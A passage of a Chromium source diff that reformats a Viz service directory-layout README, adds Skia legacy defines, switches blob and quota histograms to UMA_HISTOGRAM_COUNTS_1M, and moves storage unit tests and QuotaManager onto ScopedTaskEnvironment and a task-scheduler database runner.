 
+```
 //services/viz/public/<language>/{compositing, gl, hit_test, media}:data_types
---------------------------------------------------------------------------------
+```
 
 Common data types such as CompositorFrame, and GpuMemoryBufferHandle can live in
-//services/viz/public/<language>/{compositing, gl, hit_test, media} under the
+`//services/viz/public/<language>/{compositing, gl, hit_test, media}` under the
 data_types target.
 
 Their associated mojoms can live in:
 
-//services/viz/public/interfaces/{compositing, gl, hit_test, media}.
+```
+//services/viz/public/interfaces/{compositing, gl, hit_test, media}
+```
 
 Note:
 
-//services/viz/public/<language>/{compositing, gl, hit_test, media}:data_types
+`//services/viz/public/<language>/{compositing, gl, hit_test, media}:data_types`
 holds C++ types only and does not depend on
-//services/viz/public/interfaces/{compositing, gl, hit_test, media}. Instead,
+`//services/viz/public/interfaces/{compositing, gl, hit_test, media}`. Instead,
 there are StructTraits with the interfaces that produce/consume data_types for
 mojo transport.
 
+```
 //services/viz/{compositing, gl, hit_test, media}/private/interfaces
---------------------------------------------------------------------------------
+```
 
 These interfaces directories contain mojoms that may only be used by going
 through a language-specific client library. They are meant for unprivileged use,
@@ -67,9 +71,10 @@
 directories must not. There is no private client library, as these are meant for
 consumption by the public client library.
 
+```
 //services/viz/{compositing, gl, hit_test, media}/privileged/interfaces
 //services/viz/{compositing, gl, hit_test, media}/privileged/<language>
---------------------------------------------------------------------------------
+```
 
 The interfaces directories contains mojoms that may only be used by the
 privileged client. Privileged interfaces are kept in separate directories to
@@ -78,66 +83,69 @@
 must not depend on privileged interfaces. Typically, the browser process or the
 window server serves as the privileged client to Viz.
 
+```
 //services/viz/main
---------------------------------------------------------------------------------
+```
 
 This is the glue code that implements the primordial VizMain interface (in
-//services/viz/main/privileged/interfaces) that starts up the Viz process
+`//services/viz/main/privileged/interfaces`) that starts up the Viz process
 through the service manager. VizMain is a factory interface that enables the
 privileged client to instantiate the Viz subservices: compositing, gl, hit_test,
 and media.
 
+```
 //services/viz/{compositing, gl, hit_test, media}/service
---------------------------------------------------------------------------------
+```
 
 Service-side implementation code live in the various sub-service "service"
-directories. Service code may depend on the public/<language>/…:data_types
+directories. Service code may depend on the `public/<language>/…:data_types`
 target and interfaces subdirectories, but cannot depend on any of the
-//service/viz/public/<language>/... client library.
+`//service/viz/public/<language>/...` client library.
 
-Short term: //components/viz and //gpu and //media
---------------------------------------------------------------------------------
-
+## Short term: `//components/viz`,  `//gpu`, `//media`
 At this time, the Viz public client library for the compositing and hit_test
-subservices live in //components/viz/client, and the privileged client library
-lives in //components/viz/host.
+subservices live in `//components/viz/client`, and the privileged client library
+lives in `//components/viz/host`.
 
-Command buffer code will continue to live in //gpu and media code will continue
-to live in //media.
+Command buffer code will continue to live in `//gpu` and media code will continue
+to live in `//media`.
 
 Once the content module has been removed (or no longer depends on
-components/viz/service), the code in //components/viz/client will move to
-appropriate destinations in //services/viz/public/<language>/....
-//components/viz/service will move to the appropriate service directories in
-//services/viz/.... //components/viz/host will move to
-//services/viz/{compositing, gl, hit_test, media}/privileged.
+`components/viz/service`), the code in `//components/viz/client` will move to
+appropriate destinations in `//services/viz/public/<language>/...`.
+`//components/viz/service` will move to the appropriate service directories in
+`//services/viz/...`. `//components/viz/host` will move to
+`//services/viz/{compositing, gl, hit_test, media}/privileged`.
 
-Once the content module is gone, and //services/ui is the only privileged
-client, then perhaps the privileged client library may move to //services/ui.
+Once the content module is gone, and `//services/ui` is the only privileged
+client, then perhaps the privileged client library may move to `//services/ui`.
 
-Acceptable Dependencies
---------------------------------------------------------------------------------
-
-Note: => means can depend on
+## Acceptable Dependencies
+Note: `=>` means can depend on
 
 Unprivileged client, can depend on
+```
   services/viz/public/<language>/{compositing, gl, hit_test, media} =>
     services/viz/public/interfaces/{compositing, gl, hit_test, media} =>
       services/viz/public/<language>/{compositing, gl, hit_test, media}:data_types
     services/viz/private/interfaces/{compositing, gl, hit_test, media} =>
       services/viz/public/<language>/{compositing, gl, hit_test, media}:data_types
   services/viz/public/interfaces/{compositing, gl, hit_test, media}
+```
 
 The privileged client can depend on
+```
   services/viz/privileged/<language>/{compositing, gl, hit_test, media} =>
     services/viz/privileged/interfaces/{compositing, gl, hit_test, media}
   services/viz/public/interfaces/{compositing, gl, hit_test, media}
   services/viz/public/<language>/{compositing, gl, hit_test, media}
+```
 
 Services can depend on:
+```
   services/viz/public/interfaces/{compositing, gl, hit_test, media}
   services/viz/public/<language>/{compositing, gl, hit_test, media}:data_types
   services/viz/privileged/interfaces/{compositing, gl, hit_test, media}
   services/viz/private/interfaces/{compositing, gl, hit test, media}
-
+```
 
diff --git a/skia/config/SkUserConfig.h b/skia/config/SkUserConfig.h
index 3a2e095..cc01ee6 100644
--- a/skia/config/SkUserConfig.h
+++ b/skia/config/SkUserConfig.h
@@ -204,6 +204,10 @@
 #   define SK_USE_LEGACY_DISTANCE_FIELDS
 #endif
 
+#ifndef SK_SUPPORT_LEGACY_STREAM_API
+#define SK_SUPPORT_LEGACY_STREAM_API
+#endif
+
 #ifndef SK_DISABLE_DEFERRED_PROXIES
 #define SK_DISABLE_DEFERRED_PROXIES
 #endif
@@ -212,6 +216,10 @@
 #define SK_SUPPORT_LEGACY_GRADIENT_MATRIX_MATH
 #endif
 
+#ifndef SK_SUPPORT_LEGACY_DELTA_AA
+#define SK_SUPPORT_LEGACY_DELTA_AA
+#endif
+
 ///////////////////////// Imported from BUILD.gn and skia_common.gypi
 
 /* In some places Skia can use static initializers for global initialization,
diff --git a/storage/browser/blob/blob_memory_controller.cc b/storage/browser/blob/blob_memory_controller.cc
index cc9e85d6..8503d09 100644
--- a/storage/browser/blob/blob_memory_controller.cc
+++ b/storage/browser/blob/blob_memory_controller.cc
@@ -1001,11 +1001,11 @@
     size_t total_bytes) {
   // These metrics let us calculate the global distribution of blob storage by
   // subtracting the histograms.
-  UMA_HISTOGRAM_COUNTS("Storage.Blob.StorageSizeBeforeAppend",
-                       blob_memory_used_ / 1024);
+  UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.StorageSizeBeforeAppend",
+                          blob_memory_used_ / 1024);
   blob_memory_used_ += total_bytes;
-  UMA_HISTOGRAM_COUNTS("Storage.Blob.StorageSizeAfterAppend",
-                       blob_memory_used_ / 1024);
+  UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.StorageSizeAfterAppend",
+                          blob_memory_used_ / 1024);
 
   for (auto& item : *items) {
     item->set_state(ShareableBlobDataItem::QUOTA_GRANTED);
@@ -1021,11 +1021,11 @@
 
   // These metrics let us calculate the global distribution of blob storage by
   // subtracting the histograms.
-  UMA_HISTOGRAM_COUNTS("Storage.Blob.StorageSizeBeforeAppend",
-                       blob_memory_used_ / 1024);
+  UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.StorageSizeBeforeAppend",
+                          blob_memory_used_ / 1024);
   blob_memory_used_ -= length;
-  UMA_HISTOGRAM_COUNTS("Storage.Blob.StorageSizeAfterAppend",
-                       blob_memory_used_ / 1024);
+  UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.StorageSizeAfterAppend",
+                          blob_memory_used_ / 1024);
 
   auto iterator = populated_memory_items_.Get(item_id);
   if (iterator != populated_memory_items_.end()) {
diff --git a/storage/browser/blob/blob_storage_context.cc b/storage/browser/blob/blob_storage_context.cc
index d84d10f..aa8c575 100644
--- a/storage/browser/blob/blob_storage_context.cc
+++ b/storage/browser/blob/blob_storage_context.cc
@@ -46,18 +46,18 @@
   switch (input_element.type()) {
     case DataElement::TYPE_BYTES:
     case DataElement::TYPE_BYTES_DESCRIPTION:
-      UMA_HISTOGRAM_COUNTS("Storage.BlobItemSize.Bytes", length / 1024);
+      UMA_HISTOGRAM_COUNTS_1M("Storage.BlobItemSize.Bytes", length / 1024);
       break;
     case DataElement::TYPE_BLOB:
-      UMA_HISTOGRAM_COUNTS("Storage.BlobItemSize.Blob",
-                           (length - input_element.offset()) / 1024);
+      UMA_HISTOGRAM_COUNTS_1M("Storage.BlobItemSize.Blob",
+                              (length - input_element.offset()) / 1024);
       break;
     case DataElement::TYPE_FILE: {
       bool full_file = (length == std::numeric_limits<uint64_t>::max());
       UMA_HISTOGRAM_BOOLEAN("Storage.BlobItemSize.File.Unknown", full_file);
       if (!full_file) {
-        UMA_HISTOGRAM_COUNTS("Storage.BlobItemSize.File",
-                             (length - input_element.offset()) / 1024);
+        UMA_HISTOGRAM_COUNTS_1M("Storage.BlobItemSize.File",
+                                (length - input_element.offset()) / 1024);
       }
       break;
     }
@@ -66,14 +66,14 @@
       UMA_HISTOGRAM_BOOLEAN("Storage.BlobItemSize.FileSystem.Unknown",
                             full_file);
       if (!full_file) {
-        UMA_HISTOGRAM_COUNTS("Storage.BlobItemSize.FileSystem",
-                             (length - input_element.offset()) / 1024);
+        UMA_HISTOGRAM_COUNTS_1M("Storage.BlobItemSize.FileSystem",
+                                (length - input_element.offset()) / 1024);
       }
       break;
     }
     case DataElement::TYPE_DISK_CACHE_ENTRY:
-      UMA_HISTOGRAM_COUNTS("Storage.BlobItemSize.CacheEntry",
-                           (length - input_element.offset()) / 1024);
+      UMA_HISTOGRAM_COUNTS_1M("Storage.BlobItemSize.CacheEntry",
+                              (length - input_element.offset()) / 1024);
       break;
     case DataElement::TYPE_UNKNOWN:
       NOTREACHED();
@@ -300,8 +300,8 @@
     switch (type) {
       case DataElement::TYPE_BYTES_DESCRIPTION:
       case DataElement::TYPE_BYTES: {
-        UMA_HISTOGRAM_COUNTS("Storage.BlobItemSize.BlobSlice.Bytes",
-                             read_size / 1024);
+        UMA_HISTOGRAM_COUNTS_1M("Storage.BlobItemSize.BlobSlice.Bytes",
+                                read_size / 1024);
         if (item_index == first_item_index) {
           first_item_slice_offset = item_offset;
           first_source_item = source_items[item_index];
@@ -321,8 +321,8 @@
         break;
       }
       case DataElement::TYPE_FILE: {
-        UMA_HISTOGRAM_COUNTS("Storage.BlobItemSize.BlobSlice.File",
-                             read_size / 1024);
+        UMA_HISTOGRAM_COUNTS_1M("Storage.BlobItemSize.BlobSlice.File",
+                                read_size / 1024);
         std::unique_ptr<DataElement> element(new DataElement());
         element->SetToFilePathRange(
             source_item->path(), source_item->offset() + item_offset, read_size,
@@ -343,8 +343,8 @@
         break;
       }
       case DataElement::TYPE_FILE_FILESYSTEM: {
-        UMA_HISTOGRAM_COUNTS("Storage.BlobItemSize.BlobSlice.FileSystem",
-                             read_size / 1024);
+        UMA_HISTOGRAM_COUNTS_1M("Storage.BlobItemSize.BlobSlice.FileSystem",
+                                read_size / 1024);
         std::unique_ptr<DataElement> element(new DataElement());
         element->SetToFileSystemUrlRange(
             source_item->filesystem_url(), source_item->offset() + item_offset,
@@ -353,8 +353,8 @@
         break;
       }
       case DataElement::TYPE_DISK_CACHE_ENTRY: {
-        UMA_HISTOGRAM_COUNTS("Storage.BlobItemSize.BlobSlice.CacheEntry",
-                             read_size / 1024);
+        UMA_HISTOGRAM_COUNTS_1M("Storage.BlobItemSize.BlobSlice.CacheEntry",
+                                read_size / 1024);
         std::unique_ptr<DataElement> element(new DataElement());
         element->SetToDiskCacheEntryRange(source_item->offset() + item_offset,
                                           read_size);
@@ -502,17 +502,17 @@
   entry->set_status(flattener.status);
   std::unique_ptr<BlobDataHandle> handle = CreateHandle(content.uuid_, entry);
 
-  UMA_HISTOGRAM_COUNTS("Storage.Blob.ItemCount", entry->items().size());
-  UMA_HISTOGRAM_COUNTS("Storage.Blob.TotalSize",
-                       flattener.total_memory_size / 1024);
+  UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.ItemCount", entry->items().size());
+  UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.TotalSize",
+                          flattener.total_memory_size / 1024);
 
   uint64_t total_memory_needed =
       flattener.copy_quota_needed +
       (flattener.transport_quota_type == TransportQuotaType::MEMORY
            ? flattener.transport_quota_needed
            : 0);
-  UMA_HISTOGRAM_COUNTS("Storage.Blob.TotalUnsharedSize",
-                       total_memory_needed / 1024);
+  UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.TotalUnsharedSize",
+                          total_memory_needed / 1024);
 
   size_t num_building_dependent_blobs = 0;
   std::vector<std::unique_ptr<BlobDataHandle>> dependent_blobs;
diff --git a/storage/browser/fileapi/copy_or_move_operation_delegate_unittest.cc b/storage/browser/fileapi/copy_or_move_operation_delegate_unittest.cc
index 6e52575..1ab2f877 100644
--- a/storage/browser/fileapi/copy_or_move_operation_delegate_unittest.cc
+++ b/storage/browser/fileapi/copy_or_move_operation_delegate_unittest.cc
@@ -17,6 +17,7 @@
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/stl_util.h"
+#include "base/test/scoped_task_environment.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "storage/browser/fileapi/copy_or_move_file_validator.h"
 #include "storage/browser/fileapi/copy_or_move_operation_delegate.h"
@@ -174,14 +175,18 @@
   CopyOrMoveOperationTestHelper(const GURL& origin,
                                 storage::FileSystemType src_type,
                                 storage::FileSystemType dest_type)
-      : origin_(origin), src_type_(src_type), dest_type_(dest_type) {}
+      : origin_(origin),
+        src_type_(src_type),
+        dest_type_(dest_type),
+        scoped_task_environment_(
+            base::test::ScopedTaskEnvironment::MainThreadType::IO) {}
 
   ~CopyOrMoveOperationTestHelper() {
     file_system_context_ = NULL;
     quota_manager_proxy_->SimulateQuotaManagerDestroyed();
     quota_manager_ = NULL;
     quota_manager_proxy_ = NULL;
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
   }
 
   void SetUp() {
@@ -199,7 +204,6 @@
     quota_manager_ =
         new MockQuotaManager(false /* is_incognito */, base_dir,
                              base::ThreadTaskRunnerHandle::Get().get(),
-                             base::ThreadTaskRunnerHandle::Get().get(),
                              NULL /* special storage policy */);
     quota_manager_proxy_ = new MockQuotaManagerProxy(
         quota_manager_.get(), base::ThreadTaskRunnerHandle::Get().get());
@@ -229,7 +233,7 @@
         FileSystemURL::CreateForTest(origin_, dest_type_, base::FilePath()),
         storage::OPEN_FILE_SYSTEM_CREATE_IF_NONEXISTENT,
         base::Bind(&ExpectOk));
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
 
     // Grant relatively big quota initially.
     quota_manager_->SetQuota(
@@ -395,7 +399,7 @@
   const storage::FileSystemType src_type_;
   const storage::FileSystemType dest_type_;
 
-  base::MessageLoopForIO message_loop_;
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
   scoped_refptr<storage::FileSystemContext> file_system_context_;
   scoped_refptr<MockQuotaManagerProxy> quota_manager_proxy_;
   scoped_refptr<MockQuotaManager> quota_manager_;
diff --git a/storage/browser/fileapi/file_system_context_unittest.cc b/storage/browser/fileapi/file_system_context_unittest.cc
index 44b5e4e..7bd775d 100644
--- a/storage/browser/fileapi/file_system_context_unittest.cc
+++ b/storage/browser/fileapi/file_system_context_unittest.cc
@@ -61,7 +61,6 @@
 
     mock_quota_manager_ = new MockQuotaManager(
         false /* is_incognito */, data_dir_.GetPath(),
-        base::ThreadTaskRunnerHandle::Get().get(),
         base::ThreadTaskRunnerHandle::Get().get(), storage_policy_.get());
   }
 
diff --git a/storage/browser/fileapi/file_system_operation_impl_unittest.cc b/storage/browser/fileapi/file_system_operation_impl_unittest.cc
index ed6f701..78d122b 100644
--- a/storage/browser/fileapi/file_system_operation_impl_unittest.cc
+++ b/storage/browser/fileapi/file_system_operation_impl_unittest.cc
@@ -19,6 +19,7 @@
 #include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/stringprintf.h"
+#include "base/test/scoped_task_environment.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "storage/browser/blob/shareable_file_reference.h"
 #include "storage/browser/fileapi/file_system_context.h"
@@ -53,7 +54,10 @@
 class FileSystemOperationImplTest
     : public testing::Test {
  public:
-  FileSystemOperationImplTest() : weak_factory_(this) {}
+  FileSystemOperationImplTest()
+      : scoped_task_environment_(
+            base::test::ScopedTaskEnvironment::MainThreadType::IO),
+        weak_factory_(this) {}
 
  protected:
   void SetUp() override {
@@ -67,7 +71,6 @@
     quota_manager_ =
         new MockQuotaManager(false /* is_incognito */, base_dir,
                              base::ThreadTaskRunnerHandle::Get().get(),
-                             base::ThreadTaskRunnerHandle::Get().get(),
                              NULL /* special storage policy */);
     quota_manager_proxy_ = new MockQuotaManagerProxy(
         quota_manager(), base::ThreadTaskRunnerHandle::Get().get());
@@ -257,7 +260,7 @@
                                               sandbox_file_system_.type(),
                                               usage,
                                               quota);
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
     ASSERT_EQ(storage::kQuotaStatusOk, status);
   }
 
@@ -463,8 +466,9 @@
     return status;
   }
 
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
+
  private:
-  base::MessageLoopForIO message_loop_;
   scoped_refptr<QuotaManager> quota_manager_;
   scoped_refptr<QuotaManagerProxy> quota_manager_proxy_;
 
diff --git a/storage/browser/fileapi/file_system_operation_impl_write_unittest.cc b/storage/browser/fileapi/file_system_operation_impl_write_unittest.cc
index 0f40ffe..909099744 100644
--- a/storage/browser/fileapi/file_system_operation_impl_write_unittest.cc
+++ b/storage/browser/fileapi/file_system_operation_impl_write_unittest.cc
@@ -11,7 +11,6 @@
 #include "base/files/scoped_temp_dir.h"
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/test/scoped_task_environment.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -74,7 +73,6 @@
     quota_manager_ =
         new MockQuotaManager(false /* is_incognito */, dir_.GetPath(),
                              base::ThreadTaskRunnerHandle::Get().get(),
-                             base::ThreadTaskRunnerHandle::Get().get(),
                              NULL /* special storage policy */);
     virtual_path_ = base::FilePath(FILE_PATH_LITERAL("temporary file"));
 
@@ -137,14 +135,14 @@
     if (status == base::File::FILE_OK) {
       add_bytes_written(bytes, complete);
       if (complete)
-        base::MessageLoop::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
     } else {
       EXPECT_FALSE(complete_);
       EXPECT_EQ(status_, base::File::FILE_OK);
       complete_ = true;
       status_ = status;
       if (base::RunLoop::IsRunningOnCurrentThread())
-        base::MessageLoop::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/storage/browser/fileapi/file_writer_delegate_unittest.cc b/storage/browser/fileapi/file_writer_delegate_unittest.cc
index ca213c1f..567b61e 100644
--- a/storage/browser/fileapi/file_writer_delegate_unittest.cc
+++ b/storage/browser/fileapi/file_writer_delegate_unittest.cc
@@ -71,11 +71,11 @@
     if (status == base::File::FILE_OK) {
       bytes_written_ += bytes;
       if (write_status_ != FileWriterDelegate::SUCCESS_IO_PENDING)
-        base::MessageLoop::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
     } else {
       EXPECT_EQ(base::File::FILE_OK, status_);
       status_ = status;
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/storage/browser/fileapi/local_file_stream_reader_unittest.cc b/storage/browser/fileapi/local_file_stream_reader_unittest.cc
index 38b472d..12a7dd00 100644
--- a/storage/browser/fileapi/local_file_stream_reader_unittest.cc
+++ b/storage/browser/fileapi/local_file_stream_reader_unittest.cc
@@ -61,7 +61,7 @@
 void EmptyCallback() {}
 
 void QuitLoop() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace
diff --git a/storage/browser/fileapi/obfuscated_file_util_unittest.cc b/storage/browser/fileapi/obfuscated_file_util_unittest.cc
index acae5e0..8c69a366 100644
--- a/storage/browser/fileapi/obfuscated_file_util_unittest.cc
+++ b/storage/browser/fileapi/obfuscated_file_util_unittest.cc
@@ -20,6 +20,7 @@
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
+#include "base/test/scoped_task_environment.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "build/build_config.h"
 #include "storage/browser/fileapi/external_mount_points.h"
@@ -153,7 +154,9 @@
 class ObfuscatedFileUtilTest : public testing::Test {
  public:
   ObfuscatedFileUtilTest()
-      : origin_(GURL("http://www.example.com")),
+      : scoped_task_environment_(
+            base::test::ScopedTaskEnvironment::MainThreadType::IO),
+        origin_(GURL("http://www.example.com")),
         type_(storage::kFileSystemTypeTemporary),
         sandbox_file_system_(origin_, type_),
         quota_status_(storage::kQuotaStatusUnknown),
@@ -167,7 +170,6 @@
 
     quota_manager_ = new storage::QuotaManager(
         false /* is_incognito */, data_dir_.GetPath(),
-        base::ThreadTaskRunnerHandle::Get().get(),
         base::ThreadTaskRunnerHandle::Get().get(), storage_policy_.get(),
         storage::GetQuotaSettingsFunc());
     storage::QuotaSettings settings;
@@ -192,6 +194,7 @@
 
   void TearDown() override {
     quota_manager_ = NULL;
+    scoped_task_environment_.RunUntilIdle();
     sandbox_file_system_.TearDown();
   }
 
@@ -292,7 +295,7 @@
   }
 
   int64_t SizeInUsageFile() {
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
     int64_t usage = 0;
     return usage_cache()->GetUsage(
         sandbox_file_system_.GetUsageCachePath(), &usage) ? usage : -1;
@@ -406,13 +409,15 @@
    public:
     UsageVerifyHelper(std::unique_ptr<FileSystemOperationContext> context,
                       SandboxFileSystemTestHelper* file_system,
-                      int64_t expected_usage)
+                      int64_t expected_usage,
+                      ObfuscatedFileUtilTest* test)
         : context_(std::move(context)),
           sandbox_file_system_(file_system),
-          expected_usage_(expected_usage) {}
+          expected_usage_(expected_usage),
+          test_(test) {}
 
     ~UsageVerifyHelper() {
-      base::RunLoop().RunUntilIdle();
+      test_->scoped_task_environment_.RunUntilIdle();
       Check();
     }
 
@@ -429,21 +434,23 @@
     std::unique_ptr<FileSystemOperationContext> context_;
     SandboxFileSystemTestHelper* sandbox_file_system_;
     int64_t expected_usage_;
+    ObfuscatedFileUtilTest* const test_;
   };
 
   std::unique_ptr<UsageVerifyHelper> AllowUsageIncrease(
       int64_t requested_growth) {
     int64_t usage = sandbox_file_system_.GetCachedOriginUsage();
-    return std::unique_ptr<UsageVerifyHelper>(
-        new UsageVerifyHelper(LimitedContext(requested_growth),
-                              &sandbox_file_system_, usage + requested_growth));
+    return std::unique_ptr<UsageVerifyHelper>(new UsageVerifyHelper(
+        LimitedContext(requested_growth), &sandbox_file_system_,
+        usage + requested_growth, this));
   }
 
   std::unique_ptr<UsageVerifyHelper> DisallowUsageIncrease(
       int64_t requested_growth) {
     int64_t usage = sandbox_file_system_.GetCachedOriginUsage();
-    return std::unique_ptr<UsageVerifyHelper>(new UsageVerifyHelper(
-        LimitedContext(requested_growth - 1), &sandbox_file_system_, usage));
+    return std::unique_ptr<UsageVerifyHelper>(
+        new UsageVerifyHelper(LimitedContext(requested_growth - 1),
+                              &sandbox_file_system_, usage, this));
   }
 
   void FillTestDirectory(
@@ -691,7 +698,7 @@
     // still alive.
     file_util->db_flush_delay_seconds_ = 0;
     file_util->MarkUsed();
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
 
     ASSERT_TRUE(file_util->origin_database_ == NULL);
   }
@@ -708,7 +715,7 @@
     }
 
     // At this point the callback is still in the message queue but OFU is gone.
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
   }
 
   void DestroyDirectoryDatabase_IsolatedTestBody() {
@@ -808,8 +815,8 @@
   const base::FilePath& data_dir_path() const { return data_dir_.GetPath(); }
 
  protected:
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
   base::ScopedTempDir data_dir_;
-  base::MessageLoopForIO message_loop_;
   scoped_refptr<MockSpecialStoragePolicy> storage_policy_;
   scoped_refptr<storage::QuotaManager> quota_manager_;
   scoped_refptr<FileSystemContext> file_system_context_;
diff --git a/storage/browser/fileapi/sandbox_file_system_backend_delegate.cc b/storage/browser/fileapi/sandbox_file_system_backend_delegate.cc
index 641368d..b1319d9 100644
--- a/storage/browser/fileapi/sandbox_file_system_backend_delegate.cc
+++ b/storage/browser/fileapi/sandbox_file_system_backend_delegate.cc
@@ -361,10 +361,10 @@
   }
   switch (type) {
     case kFileSystemTypeTemporary:
-      UMA_HISTOGRAM_COUNTS(kTemporaryOriginsCountLabel, origins->size());
+      UMA_HISTOGRAM_COUNTS_1M(kTemporaryOriginsCountLabel, origins->size());
       break;
     case kFileSystemTypePersistent:
-      UMA_HISTOGRAM_COUNTS(kPersistentOriginsCountLabel, origins->size());
+      UMA_HISTOGRAM_COUNTS_1M(kPersistentOriginsCountLabel, origins->size());
       break;
     default:
       break;
diff --git a/storage/browser/quota/quota_manager.cc b/storage/browser/quota/quota_manager.cc
index e87ee9d6..e3b05a6 100644
--- a/storage/browser/quota/quota_manager.cc
+++ b/storage/browser/quota/quota_manager.cc
@@ -27,6 +27,7 @@
 #include "base/strings/string_number_conversions.h"
 #include "base/sys_info.h"
 #include "base/task_runner_util.h"
+#include "base/task_scheduler/post_task.h"
 #include "base/threading/thread_restrictions.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "base/time/time.h"
@@ -149,8 +150,8 @@
   if (is_eviction) {
     QuotaDatabase::OriginInfoTableEntry entry;
     database->GetOriginInfo(origin, type, &entry);
-    UMA_HISTOGRAM_COUNTS(QuotaManager::kEvictedOriginAccessedCountHistogram,
-                         entry.used_count);
+    UMA_HISTOGRAM_COUNTS_1M(QuotaManager::kEvictedOriginAccessedCountHistogram,
+                            entry.used_count);
     UMA_HISTOGRAM_COUNTS_1000(
         QuotaManager::kEvictedOriginDaysSinceAccessHistogram,
         (now - entry.last_access_time).InDays());
@@ -816,7 +817,6 @@
     bool is_incognito,
     const base::FilePath& profile_path,
     const scoped_refptr<base::SingleThreadTaskRunner>& io_thread,
-    const scoped_refptr<base::SequencedTaskRunner>& db_thread,
     const scoped_refptr<SpecialStoragePolicy>& special_storage_policy,
     const GetQuotaSettingsFunc& get_settings_function)
     : is_incognito_(is_incognito),
@@ -825,7 +825,9 @@
       db_disabled_(false),
       eviction_disabled_(false),
       io_thread_(io_thread),
-      db_thread_(db_thread),
+      db_runner_(base::CreateSequencedTaskRunnerWithTraits(
+          {base::MayBlock(), base::TaskPriority::USER_VISIBLE,
+           base::TaskShutdownBehavior::BLOCK_SHUTDOWN})),
       get_settings_function_(get_settings_function),
       is_getting_eviction_origin_(false),
       special_storage_policy_(special_storage_policy),
@@ -1149,7 +1151,7 @@
   for (auto* client : clients_)
     client->OnQuotaManagerDestroyed();
   if (database_)
-    db_thread_->DeleteSoon(FROM_HERE, database_.release());
+    db_runner_->DeleteSoon(FROM_HERE, database_.release());
 }
 
 QuotaManager::EvictionContext::EvictionContext()
@@ -1187,7 +1189,7 @@
   }
 
   base::PostTaskAndReplyWithResult(
-      db_thread_.get(), FROM_HERE,
+      db_runner_.get(), FROM_HERE,
       base::Bind(&QuotaDatabase::IsOriginDatabaseBootstrapped,
                  base::Unretained(database_.get())),
       base::Bind(&QuotaManager::FinishLazyInitialize,
@@ -1388,12 +1390,11 @@
                   special_storage_policy_.get(),
                   &protected_origins,
                   &unlimited_origins);
-  UMA_HISTOGRAM_COUNTS("Quota.NumberOfTemporaryStorageOrigins",
-                       num_origins);
-  UMA_HISTOGRAM_COUNTS("Quota.NumberOfProtectedTemporaryStorageOrigins",
-                       protected_origins);
-  UMA_HISTOGRAM_COUNTS("Quota.NumberOfUnlimitedTemporaryStorageOrigins",
-                       unlimited_origins);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.NumberOfTemporaryStorageOrigins", num_origins);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.NumberOfProtectedTemporaryStorageOrigins",
+                          protected_origins);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.NumberOfUnlimitedTemporaryStorageOrigins",
+                          unlimited_origins);
 
   GetGlobalUsage(kStorageTypePersistent,
                  base::Bind(
@@ -1416,12 +1417,12 @@
                   special_storage_policy_.get(),
                   &protected_origins,
                   &unlimited_origins);
-  UMA_HISTOGRAM_COUNTS("Quota.NumberOfPersistentStorageOrigins",
-                       num_origins);
-  UMA_HISTOGRAM_COUNTS("Quota.NumberOfProtectedPersistentStorageOrigins",
-                       protected_origins);
-  UMA_HISTOGRAM_COUNTS("Quota.NumberOfUnlimitedPersistentStorageOrigins",
-                       unlimited_origins);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.NumberOfPersistentStorageOrigins",
+                          num_origins);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.NumberOfProtectedPersistentStorageOrigins",
+                          protected_origins);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.NumberOfUnlimitedPersistentStorageOrigins",
+                          unlimited_origins);
 
   // We DumpOriginInfoTable last to ensure the trackers caches are loaded.
   DumpOriginInfoTable(
@@ -1640,7 +1641,7 @@
     return;
   }
   base::PostTaskAndReplyWithResult(
-      db_thread_.get(), FROM_HERE,
+      db_runner_.get(), FROM_HERE,
       base::Bind(&QuotaManager::CallGetVolumeInfo, get_volume_info_fn_,
                  profile_path_),
       base::Bind(&QuotaManager::DidGetStorageCapacity,
@@ -1679,11 +1680,11 @@
     const tracked_objects::Location& from_here,
     base::Callback<bool(QuotaDatabase*)> task,
     base::Callback<void(bool)> reply) {
-  // Deleting manager will post another task to DB thread to delete
+  // Deleting manager will post another task to DB sequence to delete
   // |database_|, therefore we can be sure that database_ is alive when this
   // task runs.
   base::PostTaskAndReplyWithResult(
-      db_thread_.get(), from_here,
+      db_runner_.get(), from_here,
       base::Bind(std::move(task), base::Unretained(database_.get())),
       std::move(reply));
 }
